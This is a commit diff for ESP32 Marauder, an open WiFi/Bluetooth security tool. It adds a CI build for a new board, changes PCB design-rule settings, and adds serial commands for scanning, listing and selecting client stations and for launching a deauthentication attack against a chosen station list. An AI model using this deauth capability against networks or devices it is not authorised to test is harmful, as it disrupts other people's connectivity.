Forráskód Böngészése

Merge pull request #199 from justcallmekoko/develop

Develop
Just Call Me Koko 3 éve
szülő
commit
ae12f5f9a5

+ 43 - 0
.github/workflows/build_push.yml

@@ -152,6 +152,7 @@ jobs:
           sed -i 's/^  #define MARAUDER_KIT/  \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
           sed -i 's/^  #define MARAUDER_KIT/  \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
           sed -i 's/^  #define GENERIC_ESP32/  \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
           sed -i 's/^  #define GENERIC_ESP32/  \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
           sed -i 's/^  #define MARAUDER_FLIPPER/  \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
           sed -i 's/^  #define MARAUDER_FLIPPER/  \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
+          sed -i 's/^  #define ESP32_LDDB/  \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
           
           
       - name: Build Marauder for OG Marauder
       - name: Build Marauder for OG Marauder
         uses: ArminJo/arduino-test-compile@v3.2.0
         uses: ArminJo/arduino-test-compile@v3.2.0
@@ -174,6 +175,7 @@ jobs:
           sed -i 's/^  #define MARAUDER_KIT/  \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
           sed -i 's/^  #define MARAUDER_KIT/  \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
           sed -i 's/^  #define GENERIC_ESP32/  \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
           sed -i 's/^  #define GENERIC_ESP32/  \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
           sed -i 's/^  #define MARAUDER_FLIPPER/  \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
           sed -i 's/^  #define MARAUDER_FLIPPER/  \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
+          sed -i 's/^  #define ESP32_LDDB/  \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
           
           
       - name: Build Marauder for v6 Marauder
       - name: Build Marauder for v6 Marauder
         uses: ArminJo/arduino-test-compile@v3.2.0
         uses: ArminJo/arduino-test-compile@v3.2.0
@@ -196,6 +198,7 @@ jobs:
           sed -i 's/^  \/\/#define MARAUDER_KIT/  #define MARAUDER_KIT/' esp32_marauder/configs.h
           sed -i 's/^  \/\/#define MARAUDER_KIT/  #define MARAUDER_KIT/' esp32_marauder/configs.h
           sed -i 's/^  #define GENERIC_ESP32/  \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
           sed -i 's/^  #define GENERIC_ESP32/  \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
           sed -i 's/^  #define MARAUDER_FLIPPER/  \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
           sed -i 's/^  #define MARAUDER_FLIPPER/  \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
+          sed -i 's/^  #define ESP32_LDDB/  \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
           
           
       - name: Build Marauder for Marauder Kit
       - name: Build Marauder for Marauder Kit
         uses: ArminJo/arduino-test-compile@v3.2.0
         uses: ArminJo/arduino-test-compile@v3.2.0
@@ -218,6 +221,7 @@ jobs:
           sed -i 's/^  #define MARAUDER_KIT/  \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
           sed -i 's/^  #define MARAUDER_KIT/  \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
           sed -i 's/^  #define GENERIC_ESP32/  \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
           sed -i 's/^  #define GENERIC_ESP32/  \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
           sed -i 's/^  #define MARAUDER_FLIPPER/  \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
           sed -i 's/^  #define MARAUDER_FLIPPER/  \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
+          sed -i 's/^  #define ESP32_LDDB/  \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
           
           
       - name: Build Marauder for Marauder Mini
       - name: Build Marauder for Marauder Mini
         uses: ArminJo/arduino-test-compile@v3.2.0
         uses: ArminJo/arduino-test-compile@v3.2.0
@@ -229,6 +233,27 @@ jobs:
       - name: Rename Marauder Mini bin
       - name: Rename Marauder Mini bin
         run: |
         run: |
           mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
           mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
+          
+      - name: Configure TFT_eSPI and configs.h for ESP32 LDDB
+        run: |
+          sed -i 's/^  #define MARAUDER_MINI/  \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
+          sed -i 's/^  #define MARAUDER_V4/  \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
+          sed -i 's/^  #define MARAUDER_V6/  \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
+          sed -i 's/^  #define MARAUDER_KIT/  \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
+          sed -i 's/^  #define GENERIC_ESP32/  \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
+          sed -i 's/^  #define MARAUDER_FLIPPER/  \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
+          sed -i 's/^  \/\/#define ESP32_LDDB/  #define ESP32_LDDB/' esp32_marauder/configs.h
+          
+      - name: Build Marauder for ESP32 LDDB
+        uses: ArminJo/arduino-test-compile@v3.2.0
+        with:
+          sketch-names: esp32_marauder.ino
+          arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
+          extra-arduino-cli-args: "--warnings none"
+          
+      - name: Rename Marauder ESP32 LDDB bin
+        run: |
+          mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.esp32_lddb.bin
 
 
       - name: Display finished bins
       - name: Display finished bins
         run: |
         run: |
@@ -276,6 +301,13 @@ jobs:
           path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
           path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
           retention-days: 5
           retention-days: 5
           
           
+      - name: 'Upload ESP32 LDDB Artifact'
+        uses: actions/upload-artifact@v3
+        with:
+          name: esp32_marauder.mini.bin
+          path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.esp32_lddb.bin
+          retention-days: 5
+          
       - name: Create Release
       - name: Create Release
         id: create_release
         id: create_release
         uses: actions/create-release@v1
         uses: actions/create-release@v1
@@ -352,3 +384,14 @@ jobs:
           asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
           asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
           asset_name: esp32_marauder.mini.bin
           asset_name: esp32_marauder.mini.bin
           asset_content_type: application/bin
           asset_content_type: application/bin
+          
+      - name: Upload ESP32 LDDB Asset
+        id: upload-esp32-lddb-release-asset 
+        uses: actions/upload-release-asset@v1
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+        with:
+          upload_url: ${{ steps.create_release.outputs.upload_url }}
+          asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.esp32_lddb.bin
+          asset_name: esp32_marauder.esp32_lddb.bin
+          asset_content_type: application/bin

A különbségek nem kerülnek megjelenítésre, a fájl túl nagy
+ 421 - 308
PCBs/FlipperZero/WiFi-Devboard-Pro/WiFi-Devboard-Pro.kicad_pcb


+ 7 - 6
PCBs/FlipperZero/WiFi-Devboard-Pro/WiFi-Devboard-Pro.kicad_prl

@@ -3,7 +3,9 @@
     "active_layer": 0,
     "active_layer": 0,
     "active_layer_preset": "",
     "active_layer_preset": "",
     "auto_track_width": false,
     "auto_track_width": false,
-    "hidden_nets": [],
+    "hidden_nets": [
+      "+ext_3V3"
+    ],
     "high_contrast_mode": 0,
     "high_contrast_mode": 0,
     "net_color_mode": 1,
     "net_color_mode": 1,
     "opacity": {
     "opacity": {
@@ -18,7 +20,7 @@
       "footprints": true,
       "footprints": true,
       "graphics": true,
       "graphics": true,
       "keepouts": true,
       "keepouts": true,
-      "lockedItems": false,
+      "lockedItems": true,
       "otherItems": true,
       "otherItems": true,
       "pads": true,
       "pads": true,
       "text": true,
       "text": true,
@@ -33,16 +35,15 @@
       3,
       3,
       4,
       4,
       5,
       5,
-      8,
       9,
       9,
       10,
       10,
+      11,
       12,
       12,
       13,
       13,
       14,
       14,
       15,
       15,
       16,
       16,
       17,
       17,
-      18,
       19,
       19,
       20,
       20,
       21,
       21,
@@ -61,8 +62,8 @@
       35,
       35,
       36
       36
     ],
     ],
-    "visible_layers": "ffebeaa_7fffffff",
-    "zone_display_mode": 0
+    "visible_layers": "8001130_ffffffff",
+    "zone_display_mode": 1
   },
   },
   "meta": {
   "meta": {
     "filename": "WiFi-Devboard-Pro.kicad_prl",
     "filename": "WiFi-Devboard-Pro.kicad_prl",

+ 101 - 23
PCBs/FlipperZero/WiFi-Devboard-Pro/WiFi-Devboard-Pro.kicad_pro

@@ -33,9 +33,9 @@
         "other_text_thickness": 0.15,
         "other_text_thickness": 0.15,
         "other_text_upright": false,
         "other_text_upright": false,
         "pads": {
         "pads": {
-          "drill": 1.0,
-          "height": 1.7,
-          "width": 1.7
+          "drill": 0.0,
+          "height": 0.62,
+          "width": 0.6
         },
         },
         "silk_line_width": 0.15,
         "silk_line_width": 0.15,
         "silk_text_italic": false,
         "silk_text_italic": false,
@@ -45,10 +45,16 @@
         "silk_text_upright": false,
         "silk_text_upright": false,
         "zones": {
         "zones": {
           "45_degree_only": false,
           "45_degree_only": false,
-          "min_clearance": 0.508
+          "min_clearance": 0.09999999999999999
         }
         }
       },
       },
-      "diff_pair_dimensions": [],
+      "diff_pair_dimensions": [
+        {
+          "gap": 0.0,
+          "via_gap": 0.0,
+          "width": 0.0
+        }
+      ],
       "drc_exclusions": [],
       "drc_exclusions": [],
       "meta": {
       "meta": {
         "version": 2
         "version": 2
@@ -56,8 +62,8 @@
       "rule_severities": {
       "rule_severities": {
         "annular_width": "error",
         "annular_width": "error",
         "clearance": "error",
         "clearance": "error",
-        "copper_edge_clearance": "error",
-        "courtyards_overlap": "error",
+        "copper_edge_clearance": "ignore",
+        "courtyards_overlap": "ignore",
         "diff_pair_gap_out_of_range": "error",
         "diff_pair_gap_out_of_range": "error",
         "diff_pair_uncoupled_length_too_long": "error",
         "diff_pair_uncoupled_length_too_long": "error",
         "drill_out_of_range": "error",
         "drill_out_of_range": "error",
@@ -79,12 +85,12 @@
         "padstack": "error",
         "padstack": "error",
         "pth_inside_courtyard": "ignore",
         "pth_inside_courtyard": "ignore",
         "shorting_items": "error",
         "shorting_items": "error",
-        "silk_over_copper": "warning",
-        "silk_overlap": "warning",
+        "silk_over_copper": "ignore",
+        "silk_overlap": "ignore",
         "skew_out_of_range": "error",
         "skew_out_of_range": "error",
         "through_hole_pad_without_hole": "error",
         "through_hole_pad_without_hole": "error",
         "too_many_vias": "error",
         "too_many_vias": "error",
-        "track_dangling": "warning",
+        "track_dangling": "ignore",
         "track_width": "error",
         "track_width": "error",
         "tracks_crossing": "error",
         "tracks_crossing": "error",
         "unconnected_items": "error",
         "unconnected_items": "error",
@@ -97,23 +103,51 @@
         "allow_blind_buried_vias": false,
         "allow_blind_buried_vias": false,
         "allow_microvias": false,
         "allow_microvias": false,
         "max_error": 0.005,
         "max_error": 0.005,
-        "min_clearance": 0.0,
-        "min_copper_edge_clearance": 0.0,
-        "min_hole_clearance": 0.25,
-        "min_hole_to_hole": 0.25,
+        "min_clearance": 0.127,
+        "min_copper_edge_clearance": 0.19999999999999998,
+        "min_hole_clearance": 0.254,
+        "min_hole_to_hole": 0.5,
         "min_microvia_diameter": 0.19999999999999998,
         "min_microvia_diameter": 0.19999999999999998,
         "min_microvia_drill": 0.09999999999999999,
         "min_microvia_drill": 0.09999999999999999,
         "min_silk_clearance": 0.0,
         "min_silk_clearance": 0.0,
-        "min_through_hole_diameter": 0.3,
-        "min_track_width": 0.19999999999999998,
+        "min_through_hole_diameter": 0.19999999999999998,
+        "min_track_width": 0.127,
         "min_via_annular_width": 0.049999999999999996,
         "min_via_annular_width": 0.049999999999999996,
-        "min_via_diameter": 0.39999999999999997,
+        "min_via_diameter": 0.5,
         "solder_mask_clearance": 0.0,
         "solder_mask_clearance": 0.0,
         "solder_mask_min_width": 0.0,
         "solder_mask_min_width": 0.0,
         "use_height_for_length_calcs": true
         "use_height_for_length_calcs": true
       },
       },
-      "track_widths": [],
-      "via_dimensions": [],
+      "track_widths": [
+        0.0,
+        0.127,
+        0.2,
+        0.3,
+        0.5,
+        1.0
+      ],
+      "via_dimensions": [
+        {
+          "diameter": 0.0,
+          "drill": 0.0
+        },
+        {
+          "diameter": 0.4,
+          "drill": 0.2
+        },
+        {
+          "diameter": 0.5,
+          "drill": 0.3
+        },
+        {
+          "diameter": 1.0,
+          "drill": 0.5
+        },
+        {
+          "diameter": 2.0,
+          "drill": 1.0
+        }
+      ],
       "zones_allow_external_fillets": false,
       "zones_allow_external_fillets": false,
       "zones_use_no_outline": true
       "zones_use_no_outline": true
     },
     },
@@ -340,7 +374,7 @@
     "classes": [
     "classes": [
       {
       {
         "bus_width": 12.0,
         "bus_width": 12.0,
-        "clearance": 0.2,
+        "clearance": 0.127,
         "diff_pair_gap": 0.25,
         "diff_pair_gap": 0.25,
         "diff_pair_via_gap": 0.25,
         "diff_pair_via_gap": 0.25,
         "diff_pair_width": 0.2,
         "diff_pair_width": 0.2,
@@ -350,9 +384,53 @@
         "name": "Default",
         "name": "Default",
         "pcb_color": "rgba(0, 0, 0, 0.000)",
         "pcb_color": "rgba(0, 0, 0, 0.000)",
         "schematic_color": "rgba(0, 0, 0, 0.000)",
         "schematic_color": "rgba(0, 0, 0, 0.000)",
-        "track_width": 0.25,
-        "via_diameter": 0.8,
-        "via_drill": 0.4,
+        "track_width": 0.127,
+        "via_diameter": 0.5,
+        "via_drill": 0.3,
+        "wire_width": 6.0
+      },
+      {
+        "bus_width": 12.0,
+        "clearance": 0.127,
+        "diff_pair_gap": 0.25,
+        "diff_pair_via_gap": 0.25,
+        "diff_pair_width": 0.2,
+        "line_style": 0,
+        "microvia_diameter": 0.3,
+        "microvia_drill": 0.1,
+        "name": "GND",
+        "nets": [
+          "GND"
+        ],
+        "pcb_color": "rgba(0, 0, 0, 0.000)",
+        "schematic_color": "rgba(0, 0, 0, 0.000)",
+        "track_width": 0.2,
+        "via_diameter": 0.5,
+        "via_drill": 0.3,
+        "wire_width": 6.0
+      },
+      {
+        "bus_width": 12.0,
+        "clearance": 0.127,
+        "diff_pair_gap": 0.25,
+        "diff_pair_via_gap": 0.25,
+        "diff_pair_width": 0.2,
+        "line_style": 0,
+        "microvia_diameter": 0.3,
+        "microvia_drill": 0.1,
+        "name": "Supply",
+        "nets": [
+          "+3V3",
+          "+5V",
+          "+LDO_3V3",
+          "+ext_3V3",
+          "+ext_5V"
+        ],
+        "pcb_color": "rgba(0, 0, 0, 0.000)",
+        "schematic_color": "rgba(0, 0, 0, 0.000)",
+        "track_width": 0.2,
+        "via_diameter": 0.5,
+        "via_drill": 0.3,
         "wire_width": 6.0
         "wire_width": 6.0
       }
       }
     ],
     ],

A különbségek nem kerülnek megjelenítésre, a fájl túl nagy
+ 271 - 141
PCBs/FlipperZero/WiFi-Devboard-Pro/WiFi-Devboard-Pro.kicad_sch


+ 1 - 1
README.md

@@ -3,7 +3,7 @@
 <!---[![Build Status](https://travis-ci.com/justcallmekoko/ESP32Marauder.svg?branch=master)](https://travis-ci.com/justcallmekoko/ESP32Marauder)--->
 <!---[![Build Status](https://travis-ci.com/justcallmekoko/ESP32Marauder.svg?branch=master)](https://travis-ci.com/justcallmekoko/ESP32Marauder)--->
 <!---Shields/Badges https://shields.io/--->
 <!---Shields/Badges https://shields.io/--->
 
 
-# ESP32 Marauder v0.9.20
+# ESP32 Marauder v0.10.0
 <p align="center"><img alt="Marauder logo" src="https://github.com/justcallmekoko/ESP32Marauder/blob/master/pictures/marauder3L.jpg?raw=true" width="300"></p>
 <p align="center"><img alt="Marauder logo" src="https://github.com/justcallmekoko/ESP32Marauder/blob/master/pictures/marauder3L.jpg?raw=true" width="300"></p>
 <p align="center">
 <p align="center">
   <b>A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32</b>
   <b>A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32</b>

+ 111 - 8
esp32_marauder/CommandLine.cpp

@@ -109,13 +109,12 @@ void CommandLine::runCommand(String input) {
     Serial.println(HELP_CH_CMD);
     Serial.println(HELP_CH_CMD);
     Serial.println(HELP_SETTINGS_CMD);
     Serial.println(HELP_SETTINGS_CMD);
     Serial.println(HELP_CLEARAP_CMD_A);
     Serial.println(HELP_CLEARAP_CMD_A);
-    Serial.println(HELP_CLEARAP_CMD_B);
     Serial.println(HELP_REBOOT_CMD);
     Serial.println(HELP_REBOOT_CMD);
     Serial.println(HELP_UPDATE_CMD_A);
     Serial.println(HELP_UPDATE_CMD_A);
-    Serial.println(HELP_UPDATE_CMD_B);
     
     
     // WiFi sniff/scan
     // WiFi sniff/scan
     Serial.println(HELP_SCANAP_CMD);
     Serial.println(HELP_SCANAP_CMD);
+    Serial.println(HELP_SCANSTA_CMD);
     Serial.println(HELP_SNIFF_RAW_CMD);
     Serial.println(HELP_SNIFF_RAW_CMD);
     Serial.println(HELP_SNIFF_BEACON_CMD);
     Serial.println(HELP_SNIFF_BEACON_CMD);
     Serial.println(HELP_SNIFF_PROBE_CMD);
     Serial.println(HELP_SNIFF_PROBE_CMD);
@@ -131,8 +130,8 @@ void CommandLine::runCommand(String input) {
     // WiFi Aux
     // WiFi Aux
     Serial.println(HELP_LIST_AP_CMD_A);
     Serial.println(HELP_LIST_AP_CMD_A);
     Serial.println(HELP_LIST_AP_CMD_B);
     Serial.println(HELP_LIST_AP_CMD_B);
+    Serial.println(HELP_LIST_AP_CMD_C);
     Serial.println(HELP_SEL_CMD_A);
     Serial.println(HELP_SEL_CMD_A);
-    Serial.println(HELP_SEL_CMD_B);
     Serial.println(HELP_SSID_CMD_A);
     Serial.println(HELP_SSID_CMD_A);
     Serial.println(HELP_SSID_CMD_B);
     Serial.println(HELP_SSID_CMD_B);
     
     
@@ -183,12 +182,28 @@ void CommandLine::runCommand(String input) {
   else if (cmd_args.get(0) == CLEARAP_CMD) {
   else if (cmd_args.get(0) == CLEARAP_CMD) {
     int ap_sw = this->argSearch(&cmd_args, "-a"); // APs
     int ap_sw = this->argSearch(&cmd_args, "-a"); // APs
     int ss_sw = this->argSearch(&cmd_args, "-s"); // SSIDs
     int ss_sw = this->argSearch(&cmd_args, "-s"); // SSIDs
+    int cl_sw = this->argSearch(&cmd_args, "-c"); // Stations
 
 
-    if (ap_sw != -1)
+    if (ap_sw != -1) {
+      #ifdef HAS_SCREEN
+        menu_function_obj.changeMenu(&menu_function_obj.clearAPsMenu);
+      #endif
       wifi_scan_obj.RunClearAPs();
       wifi_scan_obj.RunClearAPs();
+    }
 
 
-    if (ss_sw != -1)
+    if (ss_sw != -1) {
+      #ifdef HAS_SCREEN
+        menu_function_obj.changeMenu(&menu_function_obj.clearSSIDsMenu);
+      #endif
       wifi_scan_obj.RunClearSSIDs();
       wifi_scan_obj.RunClearSSIDs();
+    }
+
+    if (cl_sw != -1) {
+      #ifdef HAS_SCREEN
+        menu_function_obj.changeMenu(&menu_function_obj.clearAPsMenu);
+      #endif
+      wifi_scan_obj.RunClearStations();
+    }
   }
   }
 
 
   else if (cmd_args.get(0) == SETTINGS_CMD) {
   else if (cmd_args.get(0) == SETTINGS_CMD) {
@@ -258,6 +273,15 @@ void CommandLine::runCommand(String input) {
       #endif
       #endif
       wifi_scan_obj.StartScan(WIFI_SCAN_RAW_CAPTURE, TFT_WHITE);
       wifi_scan_obj.StartScan(WIFI_SCAN_RAW_CAPTURE, TFT_WHITE);
     }
     }
+    // Scan stations
+    else if (cmd_args.get(0) == SCANSTA_CMD) {    
+      Serial.println("Starting Station scan. Stop with " + (String)STOPSCAN_CMD);  
+      #ifdef HAS_SCREEN
+        display_obj.clearScreen();
+        menu_function_obj.drawStatusBar();
+      #endif
+      wifi_scan_obj.StartScan(WIFI_SCAN_STATION, TFT_ORANGE);
+    }
     // Beacon sniff
     // Beacon sniff
     else if (cmd_args.get(0) == SNIFF_BEACON_CMD) {
     else if (cmd_args.get(0) == SNIFF_BEACON_CMD) {
       Serial.println("Starting Beacon sniff. Stop with " + (String)STOPSCAN_CMD);
       Serial.println("Starting Beacon sniff. Stop with " + (String)STOPSCAN_CMD);
@@ -334,6 +358,7 @@ void CommandLine::runCommand(String input) {
       int ap_beacon_sw = this->argSearch(&cmd_args, "-a");
       int ap_beacon_sw = this->argSearch(&cmd_args, "-a");
       int src_addr_sw = this->argSearch(&cmd_args, "-s");
       int src_addr_sw = this->argSearch(&cmd_args, "-s");
       int dst_addr_sw = this->argSearch(&cmd_args, "-d");
       int dst_addr_sw = this->argSearch(&cmd_args, "-d");
+      int targ_sw = this->argSearch(&cmd_args, "-c");
   
   
       if (attack_type_switch == -1) {
       if (attack_type_switch == -1) {
         Serial.println("You must specify an attack type");
         Serial.println("You must specify an attack type");
@@ -345,14 +370,21 @@ void CommandLine::runCommand(String input) {
         // Branch on attack type
         // Branch on attack type
         // Deauth
         // Deauth
         if (attack_type == ATTACK_TYPE_DEAUTH) {
         if (attack_type == ATTACK_TYPE_DEAUTH) {
-          if (dst_addr_sw == -1) {
+          // Default to broadcast
+          if ((dst_addr_sw == -1) && (targ_sw == -1)) {
             Serial.println("Sending to broadcast...");
             Serial.println("Sending to broadcast...");
             wifi_scan_obj.dst_mac = "ff:ff:ff:ff:ff:ff";
             wifi_scan_obj.dst_mac = "ff:ff:ff:ff:ff:ff";
           }
           }
-          else {
+          // Dest addr specified
+          else if (dst_addr_sw != -1) {
             wifi_scan_obj.dst_mac = cmd_args.get(dst_addr_sw + 1);
             wifi_scan_obj.dst_mac = cmd_args.get(dst_addr_sw + 1);
             Serial.println("Sending to " + wifi_scan_obj.dst_mac + "...");
             Serial.println("Sending to " + wifi_scan_obj.dst_mac + "...");
           }
           }
+          // Station list specified
+          else if (targ_sw != -1)
+            Serial.println("Sending to Station list");
+
+          // Source addr not specified
           if (src_addr_sw == -1) {
           if (src_addr_sw == -1) {
             if (!this->apSelected()) {
             if (!this->apSelected()) {
               Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
               Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
@@ -363,8 +395,14 @@ void CommandLine::runCommand(String input) {
               menu_function_obj.drawStatusBar();
               menu_function_obj.drawStatusBar();
             #endif
             #endif
             Serial.println("Starting Deauthentication attack. Stop with " + (String)STOPSCAN_CMD);
             Serial.println("Starting Deauthentication attack. Stop with " + (String)STOPSCAN_CMD);
-            wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
+            // Station list not specified
+            if (targ_sw == -1)
+              wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
+            // Station list specified
+            else
+              wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_TARGETED, TFT_ORANGE);
           }
           }
+          // Source addr specified
           else {
           else {
             String src_mac_str = cmd_args.get(src_addr_sw + 1);
             String src_mac_str = cmd_args.get(src_addr_sw + 1);
             sscanf(src_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
             sscanf(src_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
@@ -498,6 +536,7 @@ void CommandLine::runCommand(String input) {
   if (cmd_args.get(0) == LIST_AP_CMD) {
   if (cmd_args.get(0) == LIST_AP_CMD) {
     int ap_sw = this->argSearch(&cmd_args, "-a");
     int ap_sw = this->argSearch(&cmd_args, "-a");
     int ss_sw = this->argSearch(&cmd_args, "-s");
     int ss_sw = this->argSearch(&cmd_args, "-s");
+    int cl_sw = this->argSearch(&cmd_args, "-c");
 
 
     // List APs
     // List APs
     if (ap_sw != -1) {
     if (ap_sw != -1) {
@@ -517,6 +556,25 @@ void CommandLine::runCommand(String input) {
           Serial.println("[" + (String)i + "] " + ssids->get(i).essid);
           Serial.println("[" + (String)i + "] " + ssids->get(i).essid);
       }
       }
     }
     }
+    // List Stations
+    else if (cl_sw != -1) {
+      char sta_mac[] = "00:00:00:00:00:00";
+      for (int x = 0; x < access_points->size(); x++) {
+        Serial.println("[" + (String)x + "] " + access_points->get(x).essid + " " + (String)access_points->get(x).rssi + ":");
+        for (int i = 0; i < access_points->get(x).stations->size(); i++) {
+          wifi_scan_obj.getMAC(sta_mac, stations->get(access_points->get(x).stations->get(i)).mac, 0);
+          if (stations->get(access_points->get(x).stations->get(i)).selected) {
+            Serial.print("  [" + (String)access_points->get(x).stations->get(i) + "] ");
+            Serial.print(sta_mac);
+            Serial.println(" (selected)");
+          }
+          else {
+            Serial.print("  [" + (String)access_points->get(x).stations->get(i) + "] ");
+            Serial.println(sta_mac);
+          }
+        }
+      }
+    }
     else {
     else {
       Serial.println("You did not specify which list to show");
       Serial.println("You did not specify which list to show");
       return;
       return;
@@ -527,6 +585,7 @@ void CommandLine::runCommand(String input) {
     // Get switches
     // Get switches
     int ap_sw = this->argSearch(&cmd_args, "-a");
     int ap_sw = this->argSearch(&cmd_args, "-a");
     int ss_sw = this->argSearch(&cmd_args, "-s");
     int ss_sw = this->argSearch(&cmd_args, "-s");
+    int cl_sw = this->argSearch(&cmd_args, "-c");
 
 
     // select Access points
     // select Access points
     if (ap_sw != -1) {
     if (ap_sw != -1) {
@@ -574,6 +633,50 @@ void CommandLine::runCommand(String input) {
         }
         }
       }
       }
     }
     }
+    else if (cl_sw != -1) {
+      LinkedList<String> sta_index = this->parseCommand(cmd_args.get(cl_sw + 1), ",");
+      
+      // Select all Stations
+      if (cmd_args.get(cl_sw + 1) == "all") {
+        for (int i = 0; i < stations->size(); i++) {
+          if (stations->get(i).selected) {
+            // Unselect "selected" ap
+            Station new_sta = stations->get(i);
+            new_sta.selected = false;
+            stations->set(i, new_sta);
+          }
+          else {
+            // Select "unselected" ap
+            Station new_sta = stations->get(i);
+            new_sta.selected = true;
+            stations->set(i, new_sta);
+          }
+        }
+      }
+      // Select specific Stations
+      else {
+        // Mark Stations as selected
+        for (int i = 0; i < sta_index.size(); i++) {
+          int index = sta_index.get(i).toInt();
+          if (!this->inRange(stations->size(), index)) {
+            Serial.println("Index not in range: " + (String)index);
+            continue;
+          }
+          if (stations->get(index).selected) {
+            // Unselect "selected" ap
+            Station new_sta = stations->get(index);
+            new_sta.selected = false;
+            stations->set(index, new_sta);
+          }
+          else {
+            // Select "unselected" ap
+            Station new_sta = stations->get(index);
+            new_sta.selected = true;
+            stations->set(index, new_sta);
+          }
+        }
+      }
+    }
     // select ssids
     // select ssids
     else if (ss_sw != -1) {
     else if (ss_sw != -1) {
       // Get list of indices
       // Get list of indices

+ 8 - 7
esp32_marauder/CommandLine.h

@@ -24,6 +24,7 @@ extern SDInterface sd_obj;
 extern Settings settings_obj;
 extern Settings settings_obj;
 extern LinkedList<AccessPoint>* access_points;
 extern LinkedList<AccessPoint>* access_points;
 extern LinkedList<ssid>* ssids;
 extern LinkedList<ssid>* ssids;
+extern LinkedList<Station>* stations;
 extern const String PROGMEM version_number;
 extern const String PROGMEM version_number;
 
 
 //// Commands
 //// Commands
@@ -38,6 +39,7 @@ const char PROGMEM SETTINGS_CMD[] = "settings";
 
 
 // WiFi sniff/scan
 // WiFi sniff/scan
 const char PROGMEM SCANAP_CMD[] = "scanap";
 const char PROGMEM SCANAP_CMD[] = "scanap";
+const char PROGMEM SCANSTA_CMD[] = "scansta";
 const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw";
 const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw";
 const char PROGMEM SNIFF_BEACON_CMD[] = "sniffbeacon";
 const char PROGMEM SNIFF_BEACON_CMD[] = "sniffbeacon";
 const char PROGMEM SNIFF_PROBE_CMD[] = "sniffprobe";
 const char PROGMEM SNIFF_PROBE_CMD[] = "sniffprobe";
@@ -68,15 +70,14 @@ const char PROGMEM BT_SKIM_CMD[] = "sniffskim";
 // Admin
 // Admin
 const char PROGMEM HELP_HEAD[] = "============ Commands ============";
 const char PROGMEM HELP_HEAD[] = "============ Commands ============";
 const char PROGMEM HELP_CH_CMD[] = "channel [-s <channel>]";
 const char PROGMEM HELP_CH_CMD[] = "channel [-s <channel>]";
-const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a";
-const char PROGMEM HELP_CLEARAP_CMD_B[] = "clearlist -s";
+const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a/-c/-s";
 const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
 const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
-const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s";
-const char PROGMEM HELP_UPDATE_CMD_B[] = "update -w";
+const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w";
 const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>]/[-r]";
 const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>]/[-r]";
 
 
 // WiFi sniff/scan
 // WiFi sniff/scan
 const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
 const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
+const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
